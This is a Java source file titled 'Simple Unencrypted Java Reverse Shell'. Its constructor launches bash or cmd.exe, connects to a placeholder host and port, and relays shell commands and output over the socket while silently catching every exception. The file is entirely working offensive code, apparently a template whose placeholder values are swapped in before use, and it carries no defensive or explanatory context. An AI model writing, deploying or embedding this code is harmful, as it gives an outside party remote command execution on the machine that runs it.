Simple Unencrypted Java Reverse Shell

abcdefg.java

import java.net.*;
import java.lang.Integer;
import java.io.InputStream;
import java.io.OutputStream;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.io.BufferedWriter;
import java.io.OutputStreamWriter;

public class ABCDEFG {

    static final String host = "AAAAAAAA";
    static final String port = "BBBBBBBB";

    public ABCDEFG() {
        try {
            String shell = "bash";
            if (System.getProperty("os.name").indexOf("Windows") != -1) {
                shell = "cmd.exe";
            }

            Process p = new ProcessBuilder(shell).redirectErrorStream(true).start();
            Socket rs = new Socket(host, Integer.parseInt(port));
            BufferedReader socketInput = new BufferedReader(new InputStreamReader(rs.getInputStream()));
            BufferedWriter socketOutput = new BufferedWriter(new OutputStreamWriter(rs.getOutputStream()));
            BufferedWriter processInput = new BufferedWriter(new OutputStreamWriter(p.getOutputStream()));
            BufferedReader processOutput = new BufferedReader(new InputStreamReader(p.getInputStream()));

            while (!rs.isClosed()) {
                String data;
                if ((data = socketInput.readLine()) != null) {
                    processInput.write(data + "\n");
                    processInput.flush();
                }
                java.lang.Thread.sleep(50);

                int charOut = 0;
                while (processOutput.ready() && (charOut = processOutput.read()) > 0) {
                    socketOutput.write(charOut);
                }
                socketOutput.flush();
                try {
                    p.exitValue();
                    break;
                } catch (Exception e) {
                }
            }

            p.destroy();
            rs.close();
        } catch(Exception e) {
        }
    }
}